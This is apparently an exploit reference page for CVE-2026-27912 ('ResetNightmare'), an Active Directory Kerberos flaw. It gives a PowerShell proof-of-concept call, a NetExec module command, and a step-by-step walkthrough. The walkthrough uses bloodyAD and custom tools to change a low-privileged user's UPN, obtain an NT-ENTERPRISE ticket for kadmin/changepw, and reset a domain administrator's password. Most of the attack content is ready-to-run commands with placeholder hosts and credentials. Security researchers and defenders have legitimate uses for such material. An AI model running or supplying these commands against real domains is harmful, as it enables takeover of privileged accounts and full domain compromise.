ResetNightmare
CVE-2026-27912
Semperis-Community/ResetNightmare - POC tool for ResetNightmare (CVE-2026-27912)
. .\ResetNightmare.ps1Invoke-ResetNightmare ` -TargetAccount "victim" ` -TargetNewPassword "NewP@ssw0rd!" ` -UPNUser "controlledUser" ` -UPNUserPassword "ControlledP@ss!"Pennyw0rth/NetExec - resetnightmare module
nxc ldap 10.10.10.10 -u user -p password -M resetnightmare -o TARGET='administrator' NEW_PASSWORD='P@ssw0rd' UPN_USER='nxc$' UPN_PASSWORD='Password123!'
Exploitation:
An attacker has obtained a user named UPNUser, with no special permissions other than the ability to modify their own UPN value.
The attacker sets the user’s UPN to the
SamAccountNameof the targeted account; for example, DemoAdmin1. This action does not require bypassing UPN uniqueness verification checks. DemoAdmin1’s actual UPN should be <DemoAdmin1@demo.lab>, so setting UPNUser’s UPN to just DemoAdmin1 is allowed.bloodyAD -H 10.10.10.10 -d domain.lab -u Attacker -p 'Password123!' get object 'DemoAdmin1' --attr sAMAccountNamebloodyAD -H 10.10.10.10 -d domain.lab -u Attacker -p 'Password123!' set object UPNUser userPrincipalName -v DemoAdmin1The attacker requests a TGT for
kadmin/changepwby specifying DemoAdmin1 as the user name,NT-ENTERPRISEas the name type, and UPNUser’s password.badTGT 'kerberos+pw://domain.lab\DemoAdmin1:Password123!@10.10.10.10/?ptype=10' --ccache UPNUser.ccache --sname kadmin/changepwThe DC returns a
TGT_REPwith a TGT for UPNUser (as indicated byPAC_REQUESTOR_SIDin the PAC), but with the username DemoAdmin1(NT_ENTERPRISE).Using this ticket to issue a password change request will reset UPNUser’s password. To escalate privileges, the attacker changes or clears UPNUser’s UPN value, leaving no user with the UPN appearing on the ticket.
bloodyAD -H 10.10.10.10 -d domain.lab -u Attacker -p 'Password123!' set object UPNUser userPrincipalName -v UPNUserbadchangepw 'kerberos+ccache://domain.lab\DemoAdmin1:UPNUser.ccache@10.10.10.10' 'newAdminPwd1!'Trying to use this ticket for a
TGS_REQafter the UPN change will result in aKDC_ERR_TGT_REVOKEDerror, due to thePAC_REQUESTOR_SIDpatch, blocking impersonation. However, by using this ticket to construct the password change request, the password change works.Now, the attacker can request a new TGT for DemoAdmin1, without specifying the
NT-ENTERPRISEname type. The request now works and the name type of the ticket isNT-PRINCIPAL, indicating that the ticket belongs to the real (SamAccountName) DemoAdmin1 user.